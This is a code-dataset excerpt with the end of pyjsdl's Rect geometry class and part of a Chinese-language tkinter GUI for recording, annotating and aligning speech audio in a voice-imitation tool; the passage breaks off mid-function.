rect attribute\n \"\"\"\n if len(args) == 1:\n arg = args[0]\n else:\n arg = args\n ln = len(arg)\n if ln == 4:\n x = arg[0]\n y = arg[1]\n width = arg[2]\n height = arg[3]\n elif ln == 2:\n x = arg[0][0]\n y = arg[0][1]\n width = arg[1][0]\n height = arg[1][1]\n else:\n if hasattr(arg, 'rect'):\n arg = arg.rect\n x = arg.x\n y = arg.y\n width = arg.width\n height = arg.height\n object.__setattr__(self, 'x', int(x))\n object.__setattr__(self, 'y', int(y))\n object.__setattr__(self, 'width', int(width))\n object.__setattr__(self, 'height', int(height))\n\n def collidepoint(self, *point):\n \"\"\"\n Return True if point is in this rect.\n \"\"\"\n if len(point) == 2:\n return (self.x <= point[0] < (self.x + self.width) and\n self.y <= point[1] < (self.y + self.height))\n else:\n return (self.x <= point[0][0] < (self.x + self.width) and\n self.y <= point[0][1] < (self.y + self.height))\n\n def colliderect(self, rect):\n \"\"\"\n Return True if rect collides with this rect.\n \"\"\"\n return self.intersects(rect)\n\n def collidelist(self, rects):\n \"\"\"\n Return index of rect in list that collide with this rect, otherwise returns -1.\n \"\"\"\n for i, rect in enumerate(rects):\n if self.intersects(rect):\n return i\n return -1\n\n def collidelistall(self, rects):\n \"\"\"\n Return list of indices of rects list that collide with this rect.\n \"\"\"\n collided = []\n for i, rect in enumerate(rects):\n if self.colliderect(rect):\n collided.append(i)\n return collided\n\n def collidedict(self, rects):\n \"\"\"\n Return (key,value) of first rect from rects dict that collide with this rect, otherwise returns None.\n \"\"\"\n for rect in rects:\n if self.colliderect(rects[rect]):\n return (rect,rects[rect])\n return None\n\n def collidedictall(self, rects):\n \"\"\"\n Return list of (key,value) from rects dict that collide with this rect.\n \"\"\"\n collided = []\n for rect in rects:\n if self.colliderect(rects[rect]):\n collided.append((rect,rects[rect]))\n return collided\n\n def _get_center(self):\n return (self.x+(self.width//2), self.y+(self.height//2))\n\n def _get_centerx(self):\n return self.x+(self.width//2)\n\n def _get_centery(self):\n return self.y+(self.height//2)\n\n def _get_top(self):\n return self.y\n\n def _get_left(self):\n return self.x\n\n def _get_bottom(self):\n return self.y+self.height\n\n def _get_right(self):\n return self.x+self.width\n\n def _get_topleft(self):\n return (self.x, self.y)\n\n def _get_bottomleft(self):\n return (self.x, self.y+self.height)\n\n def _get_topright(self):\n return (self.x+self.width, self.y)\n\n def _get_bottomright(self):\n return (self.x+self.width, self.y+self.height)\n\n def _get_midtop(self):\n return (self.x+(self.width//2), self.y)\n\n def _get_midleft(self):\n return (self.x, self.y+(self.height//2))\n\n def _get_midbottom(self):\n return (self.x+(self.width//2), self.y+self.height)\n\n def _get_midright(self):\n return (self.x+self.width, self.y+(self.height//2))\n\n def _get_size(self):\n return (self.width, self.height)\n\n def _get_w(self):\n return self.width\n\n def _get_h(self):\n return self.height\n\n def _set_x(self, val):\n object.__setattr__(self, 'x', int(val))\n\n def _set_y(self, val):\n object.__setattr__(self, 'y', int(val))\n\n def _set_width(self, val):\n object.__setattr__(self, 'width', int(val))\n\n def _set_height(self, val):\n object.__setattr__(self, 'height', int(val))\n\n def _set_center(self, val):\n self.setLocation(val[0]-(self.width//2), val[1]-(self.height//2))\n\n def _set_centerx(self, val):\n self.setLocation(val-(self.width//2), self.y)\n\n def _set_centery(self, val):\n self.setLocation(self.x, val-(self.height//2))\n\n def _set_top(self, val):\n self.setLocation(self.x, val)\n\n def _set_left(self, val):\n self.setLocation(val, self.y)\n\n def _set_bottom(self, val):\n self.setLocation(self.x, val-self.height)\n\n def _set_right(self, val):\n self.setLocation(val-self.width, self.y)\n\n def _set_topleft(self, val):\n self.setLocation(val[0], val[1])\n\n def _set_bottomleft(self, val):\n self.setLocation(val[0], val[1]-self.height)\n\n def _set_topright(self, val):\n self.setLocation(val[0]-self.width, val[1])\n\n def _set_bottomright(self, val):\n self.setLocation(val[0]-self.width, val[1]-self.height)\n\n def _set_midtop(self, val):\n self.setLocation(val[0]-(self.width//2), val[1])\n\n def _set_midleft(self, val):\n self.setLocation(val[0], val[1]-(self.height//2))\n\n def _set_midbottom(self, val):\n self.setLocation(val[0]-(self.width//2), val[1]-self.height)\n\n def _set_midright(self, val):\n self.setLocation(val[0]-self.width, val[1]-(self.height//2))\n\n def _set_size(self, val):\n self.setSize(val[0], val[1])\n\n def _set_w(self, val):\n self.setSize(val, self.height)\n\n def _set_h(self, val):\n self.setSize(self.width, val)\n\n size = property(_get_size, _set_size)\n center = property(_get_center, _set_center)\n centerx = property(_get_centerx, _set_centerx)\n centery = property(_get_centery, _set_centery)\n top = property(_get_top, _set_top)\n left = property(_get_left, _set_left)\n bottom = property(_get_bottom, _set_bottom)\n right = property(_get_right, _set_right)\n topleft = property(_get_topleft, _set_topleft)\n bottomleft = property(_get_bottomleft, _set_bottomleft)\n topright = property(_get_topright, _set_topright)\n bottomright = property(_get_bottomright, _set_bottomright)\n midtop = property(_get_midtop, _set_midtop)\n midleft = property(_get_midleft, _set_midleft)\n midbottom = property(_get_midbottom, _set_midbottom)\n midright = property(_get_midright, _set_midright)\n w = property(_get_w, _set_w)\n h = property(_get_h, _set_h)\n\n\nclass RectPool(list):\n \"\"\"\n **pyjsdl.rect.rectPool**\n \n * rectPool.append\n * rectPool.extend\n * rectPool.get\n * rectPool.copy\n\n Rect pool accessed by rectPool instance through append method to add Rect, extend method to add Rect list, get method to return Rect set with x,y,width,height attributes, and copy method to return copy of a given Rect. If pool is empty, return is a new Rect.\n \"\"\"\n\n def __init__(self):\n list.__init__(self)\n self.add = self.append\n self.addAll = self.extend\n\n def get(self, x, y, width, height):\n \"\"\"\n Return a Rect with x,y,width,height attributes.\n \"\"\"\n if self:\n rect = self.pop()\n rect.x = x\n rect.y = y\n rect.width = width\n rect.height = height\n return rect\n else:\n return Rect(x,y,width,height)\n\n def copy(self, r):\n \"\"\"\n Return a Rect with x,y,width,height attributes of the Rect argument.\n \"\"\"\n if self:\n rect = self.pop()\n rect.x = r.x\n rect.y = r.y\n rect.width = r.width\n rect.height = r.height\n return rect\n else:\n return Rect(r.x, r.y, r.width, r.height)\n\nrectPool = RectPool()\n\n","repo_name":"jggatc/pyjsdl","sub_path":"pyjsdl/rect.py","file_name":"rect.py","file_ext":"py","file_size_in_byte":18736,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"78"} +{"seq_id":"1316872649","text":"import tkinter.ttk as ttk\nfrom tkinter import *\nfrom tkinter import messagebox, filedialog, font\nfrom reliance.imitation.audioTools import Recorder, to_one_channel_file\nfrom reliance.imitation.play import Player\nfrom reliance.imitation.praatDealer import start_edit, create_seg_tg, get_seg_lengths\n# from reliance.sppasDealer import Sppas\nimport reliance\nfrom reliance.imitation.mfaDealer import Mfa, MfaImported\nfrom reliance.global_vars import vsqx_initial\nfrom reliance.tyTalk.talker import Talker\nimport time\nimport reliance.imitation.voiceAnaysis.analyzer as av\nimport pickle\nimport os\nimport threading\nimport multiprocessing\nimport wave\nimport winsound\nimport reliance.imitation.tts\nimport multiprocessing.pool\n\nJULIUS_PATH = 'C://Windows//julius.exe'\n\n\ndef add_dyn(raw_wav_fn, aim_array, initial=vsqx_initial): # 大约有两秒整的提前\n return av.dyn_correct(raw_wav_fn, aim_array, initial)\n\n\ndef _render_output(func, storage_dict, *args):\n result = func(args[0], args[1], consonant_control=args[2])\n for r in result:\n storage_dict.append(r)\n\n\n# class Converter:\n# \"\"\"\n# developing\n# the core silent converter\n# \"\"\"\n# def __init__(self, core=None, dest=int(), tex='', py=(), wavname='', tgname='', seg_tgname='', multi_pre_func=None,\n# finish_func=None, close_func=None, set_filename_func=None, newly_installed=None):\n# self.filenames = {'wav': wavname, 'annotation': tgname, 'segment': seg_tgname}\n# self.pre_set_data_func = multi_pre_func\n# self.set_data_func = finish_func\n# self.set_filename_func = set_filename_func\n# self.text = tex\n# self.py = py\n# self.dest = dest\n# self.vtalker = av.vtalker()\n# if tgname:\n# self.vtalker.textgrid_name = tgname\n\n\nclass ConverterGUI:\n def __init__(self, core=None, dest=int(), tex='', py=(), wavname='', tgname='', seg_tgname='', multi_pre_func=None,\n finish_func=None, close_func=None, set_filename_func=None, newly_installed=None,\n gui_root=None): # core: MainContainer\n \"\"\"\n\n :param core:\n :param dest: 目标句子在列表中的位置,只用于回调函数,本不必传进本对象中,属于冗余项\n \"\"\"\n self.gui_root = gui_root\n if core is None:\n raise ValueError('参数core必须传入一个(MainContainer)对象')\n else:\n self.root = Toplevel(self.gui_root)\n self.individual = False\n self.settings_relative_path = core.settings_relative_path + r'\\converter_setting'\n try:\n with open(self.settings_relative_path, 'rb') as f:\n pass\n except FileNotFoundError:\n settings = [2, 2]\n with open(self.settings_relative_path, 'wb') as f:\n pickle.dump(settings, f)\n self.root.focus()\n self.root.lift()\n self.root.attributes('-topmost', 1)\n self.filenames = {'wav': wavname, 'annotation': tgname, 'segment': seg_tgname}\n self.root.title('人声')\n self.core = core\n self.pre_set_data_func = multi_pre_func\n self.set_data_func = finish_func\n self.before_close_func = close_func\n self.set_filename_func = set_filename_func\n self.text = tex\n self.ori_py = py\n self.py = self.ori_py\n self.dest = dest\n self._render_func = _render_output\n self.root.geometry('280x130+800+450')\n self.vtalker = av.vtalker()\n if tgname:\n self.vtalker.textgrid_name = tgname\n self.praat_saved = True # if false then the tg is being edited\n self.importing = False\n self.auto_marking = False\n self.main_running = True\n\n self.seg_editing = False\n self.seg_existing = os.path.exists(self.filenames['segment'])\n self.tg_need_create = not os.path.exists(self.filenames['annotation']) # 为了区分目前存在的标注文件是否是对应录音的文件\n\n self.root.resizable(0, 0)\n self.ending_func = []\n\n self.install = newly_installed\n\n self.base_frame = Frame(self.root)\n base_frame = self.base_frame\n base_frame.pack()\n rec_frame = Frame(base_frame)\n tg_frame = Frame(base_frame)\n out_frame = Frame(base_frame)\n Label(rec_frame).pack()\n rec_frame_top = Frame(rec_frame)\n rec_frame_top.pack()\n br = Button(rec_frame_top, text='录音', command=self._record)\n br.pack(side=LEFT)\n bi = Button(rec_frame_top, text='导入', command=self._record_import)\n bi.pack(side=RIGHT)\n btts = Button(rec_frame, text='自动生成', command=self._tts)\n btts.pack()\n rec_str = StringVar()\n Label(rec_frame, textvariable=rec_str).pack(side=BOTTOM)\n tg_frame_top = Frame(tg_frame)\n tg_frame_top.pack()\n bauto = Button(tg_frame_top, text='自动标注', command=self._auto_mark)\n # bauto = Button(tg_frame_top, text='简易标记', command=self._replay_mark) # renamed variable\n bauto.pack(side=LEFT)\n bseg = Button(tg_frame_top, text='切分', command=self._seg)\n bseg.pack(side=RIGHT)\n Label(tg_frame, text='或').pack()\n tg_frame_bottom = Frame(tg_frame)\n tg_frame_bottom.pack()\n bp = Button(tg_frame_bottom, text='新建标记', command=self._make_tg)\n bp.pack(side=LEFT)\n bp_i = Button(tg_frame_bottom, text='导入', command=self._textgrid_import)\n bp_i.pack(side=RIGHT)\n Label(tg_frame).pack()\n anno_var = StringVar(value='标注')\n lanno = Label(tg_frame, textvariable=anno_var)\n lanno.pack(side=BOTTOM)\n bo = Button(out_frame, text='启动分析', command=self._output)\n bo.pack()\n self.out_var = IntVar(value=2)\n auto_out_rb = Radiobutton(out_frame, variable=self.out_var, value=0, text='自动')\n # auto_out_rb.pack()\n tg_out_rb = Radiobutton(out_frame, variable=self.out_var, value=1, text='手动')\n # tg_out_rb.pack()\n Label(out_frame, text='输出').pack(side=BOTTOM)\n\n rec_frame.pack(side=LEFT, fill=Y)\n ttk.Separator(base_frame, orient=VERTICAL).pack(side=LEFT, fill=Y, padx=2)\n tg_frame.pack(side=LEFT, fill=Y)\n ttk.Separator(base_frame, orient=VERTICAL).pack(side=LEFT, fill=Y, padx=2)\n out_frame.pack(side=LEFT, fill=Y)\n\n self.br = br\n self.bp_i = bp_i\n self.bauto = bauto\n self.bo = bo\n self.bp = bp\n self.bseg = bseg\n\n self.text_tl = Toplevel(self.root)\n self.text_tl.resizable(0, 500)\n self.text_tl.geometry('580x100+200+100')\n self.text_tl.title('文字内容')\n\n def unset_top(event=None):\n menubar.delete(0, END)\n menubar.add_command(label='顶置', command=set_top)\n self.text_tl.attributes('-topmost', 0)\n\n def set_top(event=None):\n menubar.delete(0, END)\n menubar.add_command(label='取消顶置', command=unset_top)\n self.text_tl.attributes('-topmost', 1)\n\n menubar = Menu(self.text_tl, tearoff=False)\n menubar.delete(0, END)\n menubar.add_command(label='顶置', command=set_top)\n\n def rightKey(event):\n menubar.post(event.x_root, event.y_root)\n\n self.text_tl.bind(\"<Button-3>\", rightKey)\n\n scroll = Scrollbar(self.text_tl)\n ft = font.Font(size=13)\n txt = Text(self.text_tl, yscrollcommand=scroll.set, font=ft, width=62)\n txt.insert('insert', self.text)\n txt.config(state=DISABLED)\n scroll.config(command=txt.yview)\n txt.pack(fill=BOTH, side=LEFT)\n scroll.pack(fill=BOTH, side=LEFT)\n\n def refresh():\n if self.importing:\n rec_str.set('录音:导入中')\n br['state'] = DISABLED\n bi['state'] = DISABLED\n btts['state'] = DISABLED\n self.bauto['state'] = DISABLED\n self.bp['state'] = DISABLED\n self.bp_i['state'] = DISABLED\n self.bo['state'] = DISABLED\n tg_out_rb['state'] = DISABLED\n auto_out_rb['state'] = DISABLED\n elif self.auto_marking:\n anno_var.set('标注:生成中')\n br['state'] = DISABLED\n bi['state'] = DISABLED\n btts['state'] = DISABLED\n self.bauto['state'] = DISABLED\n self.bp['state'] = DISABLED\n self.bp_i['state'] = DISABLED\n self.bo['state'] = DISABLED\n tg_out_rb['state'] = DISABLED\n auto_out_rb['state'] = DISABLED\n self.bseg['state'] = DISABLED\n else:\n br['state'] = NORMAL\n bi['state'] = NORMAL\n btts['state'] = NORMAL\n if not os.path.exists(self.filenames['wav']):\n wav_existing = False\n # self.tg_need_create = True\n self.bauto['state'] = DISABLED\n self.bp['state'] = DISABLED\n self.bp_i['state'] = DISABLED\n rec_str.set('录音:未完成')\n else:\n wav_existing = True\n self.bauto['state'] = NORMAL\n self.bp['state'] = NORMAL\n self.bp_i['state'] = NORMAL\n rec_str.set('录音: 完成')\n if self.vtalker.textgrid_name \\\n and os.path.exists(self.vtalker.textgrid_name) \\\n and not self.tg_need_create:\n textgrid_existing = True\n else:\n textgrid_existing = False\n # if (not self.vtalker.boundaries_inf and not textgrid_existing) or not wav_existing:\n if (not self.vtalker.auto_tg_name and not textgrid_existing) or not wav_existing:\n self.bo['state'] = DISABLED\n tg_out_rb['state'] = DISABLED\n auto_out_rb['state'] = DISABLED\n anno_var.set('标注')\n if self.praat_saved:\n self.bp.config(text='新建标注')\n anno_var.set('标注')\n else:\n if textgrid_existing:\n tg_out_rb['state'] = NORMAL\n if self.praat_saved:\n self.bp.config(text='编辑标注')\n anno_var.set('标注')\n # if not self.vtalker.boundaries_inf:\n if not self.vtalker.auto_tg_name:\n self.out_var.set(1)\n auto_out_rb['state'] = DISABLED\n # if self.vtalker.boundaries_inf:\n if self.vtalker.auto_tg_name:\n auto_out_rb['state'] = NORMAL\n if not textgrid_existing:\n self.out_var.set(0)\n tg_out_rb['state'] = DISABLED\n self.bp.config(text='新建标注')\n anno_var.set('标注')\n if textgrid_existing and self.praat_saved: # 使用按钮状态判断是否完成标注\n self.bo['state'] = NORMAL\n anno_var.set('标注')\n if not self.praat_saved:\n self.bo['state'] = DISABLED\n br['state'] = DISABLED\n bi['state'] = DISABLED\n btts['state'] = DISABLED\n self.bauto['state'] = DISABLED\n self.bp_i['state'] = DISABLED\n self.bo['state'] = DISABLED\n tg_out_rb['state'] = DISABLED\n auto_out_rb['state'] = DISABLED\n self.bp.config(text='保存标注')\n anno_var.set('标注:编辑中')\n if self.seg_editing:\n self.bo['state'] = DISABLED\n br['state'] = DISABLED\n bi['state'] = DISABLED\n btts['state'] = DISABLED\n self.bauto['state'] = DISABLED\n self.bp_i['state'] = DISABLED\n self.bo['state'] = DISABLED\n tg_out_rb['state'] = DISABLED\n auto_out_rb['state'] = DISABLED\n self.bp['state'] = DISABLED\n self.bseg['state'] = NORMAL\n self.bseg.config(text='保存')\n else:\n if self.bauto['state'] == DISABLED:\n self.bseg['state'] = DISABLED\n else:\n self.bseg['state'] = NORMAL\n\n self.root.after(50, refresh)\n\n refresh()\n\n self.root.protocol('WM_DELETE_WINDOW', self.exit_)\n self.root.focus()\n self.root.lift()\n\n def exit_(self):\n if self.auto_marking:\n if not messagebox.askyesno('自动标注中', '正在进行自动标注,是否退出并放弃?', master=self.root):\n return\n for func in self.ending_func:\n func()\n self.before_close_func()\n self.main_running = False\n self.root.destroy()\n self.gui_root.lift() # \"core\" doesn't have any \".root\"\n self.gui_root.focus()\n\n def _record(self):\n self.root.attributes('-disabled', 1)\n start_time = [float()]\n boundaries = []\n boundText = StringVar(value='等待开始')\n\n bMaster = self.br\n bMaster['state'] = DISABLED\n tl = Toplevel(self.root)\n tl.geometry('220x120')\n tl.resizable(0, 0)\n tl.focus()\n MainF = Frame(tl)\n MainF.pack()\n # txt = Text(MainF) # 适配问题,不弄了\n # txt.insert(\"insert\", self.text)\n # txt['state'] = DISABLED\n # txt.pack()\n\n choice = IntVar()\n with open(self.settings_relative_path, 'rb') as f:\n settings = pickle.load(f)\n choice.set(settings[0])\n left_panel = Frame(MainF)\n\n def menu():\n def save(event=None):\n settings[0] = event.widget['value']\n with open(self.settings_relative_path, 'wb') as f:\n pickle.dump(settings, f)\n\n with open(self.settings_relative_path, 'rb') as f:\n choice.set(pickle.load(f)[0])\n\n tl2 = Toplevel(tl)\n tl2.geometry('160x60')\n tl2.resizable(0, 0)\n tl2.focus()\n r1 = Radiobutton(tl2, text='单按', variable=choice, value=0)\n r2 = Radiobutton(tl2, text='按抬', variable=choice, value=1)\n r3 = Radiobutton(tl2, text='双按', variable=choice, value=2)\n r1.bind('<Button-1>', save)\n r2.bind('<Button-1>', save)\n r3.bind('<Button-1>', save)\n\n r1.pack(side='left')\n r2.pack(side='left')\n r3.pack(side='left')\n\n # left_panel.grid(column=0, sticky=W)\n Label(left_panel, textvariable=boundText).pack()\n setting_button = Button(left_panel, text='设置标记方法', command=menu)\n setting_button.pack()\n\n recorder = Recorder(of=self.filenames['wav'])\n self.ending_func.append(recorder.abort)\n status = StringVar()\n\n def recording():\n if recorder.rec_flag:\n status.set('录音中')\n else:\n status.set('未录音')\n tl.after(50, recording)\n\n recording()\n\n def start_record(event=None):\n boundText.set('标记数:{}'.format(len(boundaries)))\n btn1.grid_forget()\n btn3.grid(row=2, column=0, columnspan=2)\n btn2.grid(row=1, column=0, columnspan=2)\n recorder.start()\n start_time[0] = time.time() # 避免局部变量\n btn1['state'] = DISABLED\n tl.unbind('<Return>')\n tl.bind('<Return>', lambda e: btn2.invoke())\n # tl.bind('<KeyPress-Down>', add_bound)\n # if choice.get() == 2:\n # tl.bind('<Right>', add_bound)\n # elif choice.get() == 1:\n # tl.bind('<KeyRelease-Down>', add_bound)\n setting_button['state'] = DISABLED\n\n tl.bind('<Return>', start_record)\n\n def complete_record():\n recorder.complete()\n self._update_record_inf()\n exit_()\n\n def restart_record():\n btn2.grid_forget()\n btn3.grid_forget()\n boundaries.clear()\n start_time[0] = float()\n boundText.set('等待开始')\n btn1.grid(row=1, column=0, columnspan=2)\n btn1['state'] = NORMAL\n setting_button['state'] = NORMAL\n tl.unbind('<Down>')\n tl.unbind('<Return>')\n tl.bind('<Return>', lambda e: btn1.invoke())\n\n recorder.abort()\n\n right_panel = Frame(MainF)\n btn1 = Button(right_panel, text='开始录制', command=start_record)\n label = Label(right_panel, textvariable=status)\n btn2 = Button(right_panel, text='完成录制', command=complete_record)\n btn3 = Button(right_panel, text='取消重录', command=restart_record)\n\n # ttk.Separator(MainF, orient=VERTICAL).grid(row=0, column=1, ipady=50, padx=5)\n right_panel.pack()\n Label(right_panel, text='状态:').grid(row=0, column=0, sticky=W)\n label.grid(row=0, column=1, sticky=E)\n btn1.grid(row=1, column=0, columnspan=2)\n\n # def add_bound(event):\n # if recorder.rec_flag:\n # boundaries.append(time.time() - start_time[0])\n # boundText.set('标记数:{}'.format(len(boundaries)))\n\n def exit_():\n self.root.attributes('-disabled', 0)\n bMaster['state'] = NORMAL\n self.bo['state'] = NORMAL\n recorder.abort()\n tl.destroy()\n\n tl.protocol('WM_DELETE_WINDOW', exit_)\n\n def _record_import(self):\n default = os.path.join(os.path.expanduser('~'), \"Desktop\")\n location = filedialog.askopenfilename(title='打开',\n filetypes=[('WAV音频文件', '*.wav')],\n initialdir=default)\n self._import_from(location)\n self.root.lift()\n self.root.focus()\n\n def _import_from(self, location, tts=False, in_pipeline=False):\n if location:\n def func():\n to_one_channel_file(location, self.filenames['wav'])\n if not self.main_running:\n return\n self.importing = False\n\n if tts and False:\n self.py = Talker().get_py(self.text)[0]\n else:\n self.py = self.ori_py\n self._update_record_inf()\n\n self.importing = True\n if in_pipeline:\n func()\n else:\n threading.Thread(target=func).start()\n\n def _update_record_inf(self):\n self.set_filename_func(dest=self.dest, rec=self.filenames['wav'])\n self.tg_need_create = True\n self.vtalker.textgrid_name = None\n self.vtalker.auto_tg_name = None\n create_seg_tg(self.filenames['wav'], self.filenames['segment'], [self.text], just_len=len(self.py))\n\n def _tts(self, in_pipeline=False):\n location = 'misc/temp/tts_temp/tts.wav'\n if not os.path.exists(os.path.dirname(location)):\n os.makedirs(os.path.dirname(location))\n reliance.imitation.tts.render(self.text, location)\n self._import_from(location, tts=True, in_pipeline=in_pipeline)\n\n def _make_tg(self, reopen=False, use_praat=True):\n def complete_edit():\n\n if os.path.exists(self.filenames['annotation']):\n self.set_filename_func(dest=self.dest, tg=self.filenames['annotation'])\n self.vtalker.textgrid_name = self.filenames['annotation']\n self.tg_need_create = False\n else:\n if use_praat:\n messagebox.showerror('无标注文件', '保存失败。未找到标注文件,请在标注后按“continue”进行保存')\n return\n try:\n os.remove('temp.praat')\n except:\n pass\n self.praat_saved = True\n self.bp.config(text='编辑标注', command=self._make_tg)\n\n if use_praat:\n self.praat_saved = False\n start_edit(self.filenames['wav'], self.filenames['annotation'], self.tg_need_create, reopen)\n self.bp.config(text='保存编辑', command=complete_edit)\n else:\n complete_edit()\n\n def _textgrid_import(self, source=None):\n default = os.path.join(os.path.expanduser('~'), \"Desktop\")\n if source is None:\n location = filedialog.askopenfilename(title='打开',\n filetypes=[('Praat标注文件', '*.TextGrid')],\n initialdir=default)\n else:\n location = source\n\n if location:\n with open(location, 'rb') as f:\n data = f.read()\n with open(self.filenames['annotation'], 'wb') as f:\n f.write(data)\n self.vtalker.textgrid_name = self.filenames['annotation']\n self.set_filename_func(dest=self.dest, tg=self.filenames['annotation'])\n self.tg_need_create = False\n self.root.lift()\n self.root.focus()\n\n def _replay_mark(self):\n self.root.attributes('-disabled', 1)\n if not os.path.exists(self.filenames['wav']):\n messagebox.showerror('没有录音', '还没有录音文件,请先录音或导入')\n self.root.focus()\n self.root.attributes('-disabled', 0)\n return\n start_time = [float()]\n boundaries = []\n bias = -250\n\n speed = {0: 0.1, 1: 0.3, 2: 0.5, 3: 1.0}\n\n bMaster = self.bauto\n bMaster['state'] = DISABLED\n tl = Toplevel(self.root)\n tl.geometry('220x140')\n tl.resizable(0, 0)\n tl.focus()\n MainF = Frame(tl)\n MainF.pack()\n Label(tl, text='字开始时按↓键,字结束时按→键\\n可以省略').pack()\n\n speed_time = IntVar()\n boundText = StringVar(value='速率 {}'.format(speed[speed_time.get()]))\n with open(self.settings_relative_path, 'rb') as f:\n settings = pickle.load(f)\n speed_time.set(settings[1])\n left_panel = Frame(MainF)\n\n def menu():\n def save_set(event=None):\n speed_time.set(choice.get())\n settings[1] = speed_time.get()\n with open(self.settings_relative_path, 'wb') as f:\n pickle.dump(settings, f)\n player.set_speed(speed[speed_time.get()])\n boundText.set('速率 {}'.format(speed[speed_time.get()]))\n tl2.destroy()\n\n choice = IntVar()\n choice.set(speed_time.get())\n tl2 = Toplevel(tl)\n tl2.geometry('160x140')\n tl2.resizable(0, 0)\n tl2.focus()\n f1 = Frame(tl2)\n f2 = Frame(tl2)\n\n r1 = Radiobutton(f1, text='x0.1', variable=choice, value=0)\n r2 = Radiobutton(f1, text='x0.3', variable=choice, value=1)\n r3 = Radiobutton(f1, text='x0.5', variable=choice, value=2)\n r4 = Radiobutton(f1, text='x1.0', variable=choice, value=3)\n\n f1.pack(side=LEFT)\n f2.pack(side=RIGHT)\n Label(f2, text='保存后稍等').pack()\n Button(f2, text='保存设置', command=save_set).pack()\n r1.pack()\n r2.pack()\n r3.pack()\n r4.pack()\n\n left_panel.grid(column=0, sticky=W)\n Label(left_panel, textvariable=boundText).pack()\n setting_button = Button(left_panel, text='设置慢放倍率', command=menu)\n setting_button.pack()\n\n player = Player(fn=self.filenames['wav'])\n player.set_speed(speed[speed_time.get()])\n self.ending_func.append(player.stop)\n status = StringVar()\n\n def playing():\n if player.play_flag:\n status.set('播放中')\n elif player.natural_end:\n status.set('已播完')\n if boundaries:\n if boundaries[-1][1] != 'end':\n add_end()\n else:\n status.set('未播放')\n tl.after(50, playing)\n\n playing()\n\n def start_play(event=None):\n boundText.set('标记数:{}'.format(len(boundaries)))\n btn1.grid_forget()\n btn3.grid(row=2, column=0, columnspan=2)\n btn2.grid(row=1, column=0, columnspan=2)\n player.start()\n start_time[0] = time.time() # 避免局部变量\n btn1['state'] = DISABLED\n tl.unbind('<Return>')\n tl.bind('<KeyPress-Down>', add_start)\n tl.bind('<KeyPress-Right>', add_end)\n tl.bind('<Return>', lambda e: btn2.invoke())\n # if choice.get() == 2:\n # tl.bind('<Right>', add_start)\n # elif choice.get() == 1:\n # tl.bind('<KeyRelease-Down>', add_start)\n setting_button['state'] = DISABLED\n\n tl.bind('<Return>', start_play)\n\n def complete_play(event=None, write=False):\n if boundaries and player.play_flag: # 自然终止的end已经加入了\n if boundaries[-1][1] != 'end':\n add_end()\n if boundaries[0][1] != 'start':\n add_start(loc=0)\n\n boundaries_insert = []\n last_label = ''\n for i, boundary in enumerate(boundaries):\n if boundary[1] == last_label == 'start':\n boundaries_insert.append((i, 'end'))\n elif boundary[1] == last_label == 'end':\n boundaries_insert.append((i, 'start'))\n last_label = boundary[1]\n # print(boundaries_insert)\n inserted_count = 0\n for boundary_insert in boundaries_insert:\n actual_index = boundary_insert[0] + inserted_count\n if boundary_insert[1] == 'start':\n boundaries.insert(actual_index, (boundaries[actual_index - 1][0], 'start'))\n elif boundary_insert[1] == 'end':\n boundaries.insert(actual_index, (boundaries[actual_index][0], 'end'))\n inserted_count += 1\n\n player.stop()\n boundaries.insert(0, bias)\n if write:\n with open('boundaries.txt', 'w') as f:\n f.write(str(boundaries[0]))\n f.write('\\n'.join([str(b[0]) + ' ' + b[1] for b in boundaries[1:]]))\n else:\n self.vtalker.boundaries_inf = boundaries\n exit_()\n\n def restart_play():\n btn2.grid_forget()\n btn3.grid_forget()\n boundaries.clear()\n start_time[0] = float()\n boundText.set('速率 {}'.format(speed[speed_time.get()]))\n btn1.grid(row=1, column=0, columnspan=2)\n btn1['state'] = NORMAL\n setting_button['state'] = NORMAL\n tl.unbind('<Down>')\n tl.unbind('<Return>')\n tl.bind('<Return>', lambda e: btn1.invoke())\n\n player.stop()\n\n right_panel = Frame(MainF)\n btn1 = Button(right_panel, text='开始标记', command=start_play)\n label = Label(right_panel, textvariable=status)\n btn2 = Button(right_panel, text='完成标记', command=complete_play)\n btn3 = Button(right_panel, text='取消重标', command=restart_play)\n\n ttk.Separator(MainF, orient=VERTICAL).grid(row=0, column=1, ipady=50, padx=5)\n right_panel.grid(row=0, column=2, sticky=E)\n Label(right_panel, text='状态:').grid(row=0, column=0, sticky=W)\n label.grid(row=0, column=1, sticky=E)\n btn1.grid(row=1, column=0, columnspan=2)\n\n def add_start(event=None, loc=None):\n if player.play_flag:\n if loc is None:\n boundaries.append(((time.time() - start_time[0]) * speed[speed_time.get()], 'start'))\n else:\n boundaries.append((loc, 'start'))\n boundText.set('标记数:{}'.format(len(boundaries)))\n\n def add_end(event=None, loc=None):\n if player.play_flag:\n if loc is None:\n boundaries.append(((time.time() - start_time[0]) * speed[speed_time.get()], 'end'))\n else:\n boundaries.append((loc, 'end'))\n boundText.set('标记数:{}'.format(len(boundaries)))\n\n def exit_():\n self.root.attributes('-disabled', 0)\n bMaster['state'] = NORMAL\n self.bo['state'] = NORMAL\n player.stop()\n tl.destroy()\n\n tl.protocol('WM_DELETE_WINDOW', exit_)\n\n def _auto_mark(self, in_pipeline=False): # 直接覆盖手动标注\n if self.core.settings['forced_aligner'] == 'sppas' and not os.path.exists(JULIUS_PATH):\n os.system('start c://Windows')\n os.system('start misc')\n messagebox.showinfo('注册标注器',\n '初次使用自动标注,请将\"misc\"文件夹中的标注器\"julius.exe\"手动复制到\"C://Windows\"文件夹中。\\n\\nJulius是开源的自动标注软件:\\nCopyright (c) 2005-2015 \\nJulius project team, Lee Lab., Nagoya Institute of Technology\\n\\nCopyright (c) 2008 \\nRyuichi Nisimura')\n self.root.lift()\n return\n # if len(self.py) != len(self.text):\n # messagebox.showerror('拼音和文字未对齐', '拼音和文字数量不同,无法自动对齐。\\n可以回到主界面,点击“编辑文本”重新生成拼音。')\n # return\n\n # only_vowels = messagebox.askyesno('是否简易标注', '是否只标注整个音节(不标注辅音,更快完成标注对齐)')\n only_vowels = False\n\n with wave.open(self.filenames['wav'], 'r') as f:\n length_second = f.getnframes() / f.getframerate()\n # if length_second > 20 and not self.seg_existing:\n # messagebox.showinfo('需要切分', '音频大于20秒,请先进行切分哦')\n # self.root.lift()\n # return\n if not self.tg_need_create and not in_pipeline:\n if not messagebox.askyesno('覆盖', '是否覆盖已经存在的标注?', master=self.root):\n self.root.lift()\n return\n self.root.lift()\n dest_name_list = self.filenames['annotation'].split('.')\n dest_name_list[-2] = dest_name_list[-2] 